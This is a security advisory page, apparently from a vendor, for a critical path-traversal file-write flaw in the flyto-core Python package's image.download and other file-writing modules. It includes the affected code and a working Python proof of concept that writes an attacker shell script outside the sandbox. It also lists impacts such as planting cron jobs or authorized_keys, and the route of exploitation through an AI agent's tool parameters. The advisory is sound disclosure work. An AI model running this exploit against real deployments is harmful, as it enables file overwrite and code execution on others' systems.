GHSA-2956-977x-2w3r
CRITICALGHSA-2956-977x-2w3r is a critical-severity (CVSS 10) Path Traversal vulnerability in flyto-core. O3 Security confirms whether GHSA-2956-977x-2w3r is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Flyto2 Core: Arbitrary file write via image.download (and other file-writing modules)
Blast Radius
flyto-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
image.download fetches a URL and writes the response to disk. It does not use the central path guard (validate_path_with_env_config, which confines writes to FLYTO_SANDBOX_DIR); instead it confines the output to output_dir, but output_dir is itself a caller parameter. Since the attacker sets both the target and the base it is checked against, the check is meaningless, and attacker-controlled bytes (the HTTP response) land at any absolute path the process can write.
Affected code
src/core/modules/atomic/image/download.py:
output_path = params.get('output_path')
output_dir = params.get('output_dir', '/tmp') # caller-controlled base
...
base_real = os.path.realpath(output_dir)
target_real = os.path.realpath(output_path)
if os.path.commonpath([base_real, target_real]) != base_real:
raise Exception('Invalid file path') # base is attacker-chosen, so always passes
...
content = await response.read() # attacker-hosted bytes
with open(target_real, 'wb') as f:
f.write(content)
commonpath is used correctly, but the base is caller-supplied, so setting output_dir='/' passes any target. file.write, by contrast, uses validate_path_with_env_config() and stays inside FLYTO_SANDBOX_DIR.
This is not isolated to image.download. Most other file-writing modules write to a caller output_path with no path check at all: image.convert, image.resize, image.crop, image.compress, image.rotate, image.watermark, image.qrcode_generate, document.excel_write, document.pdf_fill_form, document.word_to_pdf, document.pdf_to_word and browser.pagination. Their content is format-constrained (a valid PNG/XLSX/SVG/PDF) but the path is fully attacker-chosen; image.download is the strongest because the bytes are arbitrary.
Reproduction
Save as filewrite_poc.py, run with PYTHONPATH=src/src python filewrite_poc.py. It sets FLYTO_SANDBOX_DIR to a sandbox dir and writes to a sibling directory outside it.
#!/usr/bin/env python3
import asyncio
import os
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
os.environ["FLYTO_ALLOWED_HOSTS"] = "localhost" # let the content host pass the SSRF check
EVIL = b"#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n"
class Content(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200); self.send_header("Content-Type", "image/jpeg")
self.send_header("Content-Length", str(len(EVIL))); self.end_headers(); self.wfile.write(EVIL)
def log_message(self, *a): pass
async def run(mid, params):
from core.modules.registry import ModuleRegistry
try:
return ("RESULT", await ModuleRegistry.execute(mid, params=params, context={}))
except Exception as e:
return ("EXC", f"{type(e).__name__}: {e}")
async def main():
from core.modules.atomic import register_all
register_all()
threading.Thread(target=HTTPServer(("127.0.0.1", 8080), Content).serve_forever, daemon=True).start()
root = tempfile.mkdtemp(prefix="flyto_poc_")
sandbox = os.path.join(root, "sandbox"); os.makedirs(sandbox)
escape = os.path.join(root, "ESCAPE"); os.makedirs(escape)
os.environ["FLYTO_SANDBOX_DIR"] = sandbox
target = os.path.join(escape, "pwned") # OUTSIDE the sandbox
print("A) file.write:", await run("file.write", {"path": target, "content": "x"}))
print("B) image.download:", await run("image.download", {
"url": "http://localhost:8080/x.jpg", "output_dir": escape, "output_path": target}))
print("file written outside sandbox?", os.path.exists(target))
if os.path.exists(target):
print("content:", open(target, "rb").read())
if __name__ == "__main__":
asyncio.run(main())
Output:
A) file.write: ('EXC', 'ModuleError: [PATH_TRAVERSAL] Path escapes base directory: <root>/ESCAPE/pwned ...')
B) image.download: ('RESULT', {'ok': True, 'path': '<root>/ESCAPE/pwned', 'size': 79, ...})
file written outside sandbox? True
content: b'#!/bin/sh\n# attacker-controlled content written outside the sandbox\necho pwned\n'
file.write refuses the out-of-sandbox path; image.download writes attacker bytes there. Reproduced through the running HTTP API as well.
Reachability (why this is not operator self-service)
output_dir, output_path and url are not supplied by the trusted operator. Every non-denylisted module is exposed to an AI agent through the generic execute_module(module_id, params) MCP tool (core/mcp_handler.py, params taken from the model's arguments) and to hosted-API clients, so these parameters are chosen by the LLM (which processes untrusted content) or a remote client. FLYTO_SANDBOX_DIR and the guard file.write uses exist specifically to confine file operations to a directory the caller cannot change; this module ignores that confinement and lets the caller pick both the target and the base it is checked against. Defeating a confinement control the vendor built is a bug, not intended behavior.
Impact
Write arbitrary content to an arbitrary path outside the operator's sandbox — overwrite config, drop a shell profile, cron job or authorized_keys, or replace a Python module, leading to code execution in typical deployments. The URL is SSRF-checked, so the attacker hosts the payload on their own public server (which the guard allows).
Suggested fix
Use validate_path_with_env_config() for every module that writes files, so all writes are confined to FLYTO_SANDBOX_DIR (a base the caller cannot change), never to a caller-supplied output_dir.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | flyto-core | all versions | 2.26.7 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flyto-core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flyto-core to 2.26.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2956-977x-2w3r is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-2956-977x-2w3r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-2956-977x-2w3r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-2956-977x-2w3r in your dependencies?
O3 detects GHSA-2956-977x-2w3r across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.